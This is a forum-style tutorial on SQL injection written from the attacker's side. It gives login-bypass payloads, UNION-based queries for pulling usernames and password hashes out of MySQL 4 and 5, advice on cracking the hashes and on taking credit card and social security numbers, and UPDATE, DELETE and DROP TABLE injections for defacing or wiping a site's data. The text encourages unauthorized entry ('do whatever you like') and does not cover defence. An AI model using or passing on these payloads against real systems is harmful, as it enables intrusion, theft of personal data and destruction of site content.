You are not logged in.
SQL injection Complete Guide
Suppose a site has a login form and only the registered users are allowed to enter the site. Now, say you wanted to bypass the login and enter the site as the legitimate user. If the login script is not properly sanitized by the programmer, you may be lucky enough to enter the site. You might be able to log into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??
Let's see an example, where the username admin with the password Emmi127 can log into the site. Suppose the SQL query for this is carried out as below:
SELECT USER from database WHERE username=' admin' AND password='Emmi127'
If the above SELECT command evaluates true, the user will be given access to the site otherwise disallowed. Think what we could do if the script is not sanitized.. This opens a door for the hackers to gain illegal access to the site.
In this example, the attacker can enter the following user data in the login form:
Username: a or 1=1--
So, this would make our query as:
SELECT USER from database WHERE username=' a' or 1=1-- ' AND password=''
Note that is the comment operator and anything after it will be ignored as a comment. There is also another comment operator: /* both should be tried. So our above query becomes:
SELECT USER from database WHERE username='a' or 1=1
Now this query evaluates true even if there is no user called 'a' because 1=1 is always true and using OR makes the query return true when one of the queries is true. And this gives access to the sites admin panel.
There can also be various other username and password combinations to play with on vulnerable sites. You can create your own new combinations for the sites login. such as:
username: ' or 1='1 password: ' or 1='1
username: ' or '1'='1' password: ' or '1'='1'
username: or 1=1 password: or 1=1
and there are many more cheat sheets. Just google it.
That's all about bypassing logins.
Accessing Secret Data:
An SQL injection is not done for bypassing logins exclusively but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.
Checking for vulnerability
Suppose, you have a site like this:
Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned. So, it is:
Now if the site is not vulnerable, it will filter and the page will load normally. But if it doesn't filter the query string, it would give an error similar to below:
"MySQL Syntax Error By '5'' In article.php on line 15."
Or an error that tells us to check the correct MySQL version or MySQL Fetch error or sometimes just a blank page. The error may be in any form. But this will confirm that the site is vulnerable.
Find the number of columns.
So now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get an error. That is, we make our URL query as:
www.site.com/article.php?id=5 order by 1/*
//this didn't give an error.
Now, I do increase it to 2.
www.site.com/article.php?id=5 order by 2/*
//still no error
So, we need to increase until we get the error. In my example, I got error when I put the value 3 i.e.
www.site.com/article.php?id=5 order by 3/*
//this gave me an error.
So, it means there are 2 columns in the current table (3-1=2). This is how we find the number of columns.
Addressing the vulnerable part
Now, we need to use the union statement and find the column which we can replace so as to see the secret data on the page.
For this we do:
www.site.com/article.php?id=5 UNION ALL SELECT 1,2/*
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. So, this means we can replace the number with our commands to display the private data the DB holds.
In my example, 1 is seen on the page. This means, I should replace 1 with my things to proceed further. Got it?? So lets move forward.
Finding the MySQL version
For our injection, it is necessary to find the MySQL version because if it is 5, our job becomes lot easier (as version 5 and onwards has a lot more supported commands.) To check the version, there are two MYSQL functions, @@version or version().
So what we do is replace one (which is the replaceable part) with @@version i.e. we do as below:
www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*
So, this would return the version of the MySQL running on the server. But, sometimes u may get error with above query. If that is the case, make use of the unhex(hex()) function like this:
www.site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*
Remember that if you have to use the unhex(hex()) function here, you will also have to use this function in the injection process.
@@version will give u the version. It may be either 4 or 5 & above. I'm now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.
MySQL 5 or above injection.
Here, I am gonna show you how to access data in a server running MySQL 5 or above.You have got the MySQL version5.0.27 standard using the @@version in URL parameter. MySQL from version 5 has a useful function called information_schema. This is a table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.
For getting table list, we use: table_name from information_schema.tables
For getting column list, we use: column_name from information_schema.columns
So our query for getting the table list in our example would be:
www.site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*
And yeah if u had to use unhex(hex()) while finding version, u will have to do:
www.site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. You can even write down the table names for further reference and works. For my example, I would use tbluser as the table that contains user & password.
Similarly, to get the column list we would make our query:
www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column I wanted. You have to search and check the columns until you get no error.
Alternatively to find the column in the specific table, you can do something like below:
www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'
This would display the columns present in the table tbluser. But this may not always work. Let me show you how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.
There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using : (a colon) in the hex form. Its hex value is 0x3a (that's a zero at beginning not the letter "o") What I do is:
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
And this gives me the username and password like below:
Here the password is hashed and in this case, its MD5. Now you need to get the hash cracker like John The Ripper (www.openwalls.org), Cain & Able (www.oxid.it) and crack the hash. The hash may be different like SHA1 (Note: SD1 hashes are usually a multiple of 20 characters long whereas an md5 hash is usually 32 characters long) or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as Emmi127.
Now you get to the admin login page and login as admin. Then you can do whatever you like. So that's all for the MySQL version 5.
MySQL 4 injection:
Now say your victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 because it lacks support for information_schema.tables and information_schema.columns.
So now you will have to guess the table name and column name until you do not get any errors. For example, you would do as below:
www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*
Here, I guessed the table name as user. But this gave me the error because the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.
When I put the table name as tbluser , the page loaded normally. So I came to know that the table tbluser exists.
www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*
The page loaded normally. Now again you have to guess the column names present in the tbluser table. I do something like below:
www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
//this gave me error so there is no column with this name.
www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
//It loaded the page normally along with the username from the table.
www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
//it produced an error so again the column pass does not exist in the table tbluser.
www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
//the page loaded normally with password hash (or plaintext password).
Now you may do this:
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
On cracking, I got Emmi127 as a password. Now I just need to login the site and do whatever I want. A few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc.
You may try these methods to get various data such as credit card numbers, social security numbers, etc. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.
Modifying Site Content:
Sometimes you find the vulnerable site and get everything needed but maybe the admin login doesn't exist or it is inaccessible for a certain IP range. Even in that context, you can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.
Here, I will basically talk about a few SQL commands you may use to change the site content. The commands are the workhorse of MySQL and are deadly when executed. First let me list these commands:
UPDATE: It is used to edit information already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.
Now, you could have figured out that these commands can be very destructive if the site lets us interact with DB with no sanitization and proper permissions. Command Usage:
UPDATE : Our vulnerable page is:
Lets say the query is:
SELECT title,data,author FROM article WHERE id=5
Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.
So we would do:
www.site.com/article.php?id=5 UPDATE article SET title='Hacked By Emmi127'/*
or, u could alternatively do:
www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY Emmi127',data='Ur site has zero
By executing first query, we have set the title value as 'Hacked By Emmi127' in the table article while in second query, we have updated all three fields title, data, & author in the table article. Sometimes, you may want to change the specific page with id=5. For this u will do:
www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*
DELETE: As already stated, this deletes the content of one or more fields permanently from the DB server.
The syntax is:
www.site.com/article.php?id=5 DELETE title,data,author FROM article/*
Or if you want to delete these fields from the id=5, you will do:
www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*
DROP: This is another deadly command you can use. With this, you can delete a table & all of its associated data. For this, we make our URL as:
www.site.com/article.php?id=5 DROP TABLE article/*
This would delete table article & all its contents.
Finally, I want to say little about ; (the semi colon) Though I have not used this in my tutorial, you can use it to end your first query and start another one. This semicolon can be kept at the end of our first query so that we can start new query after it.
You cannot discover the new oceans unless you have the courage to lose the sight of the shore.
- Ads By Google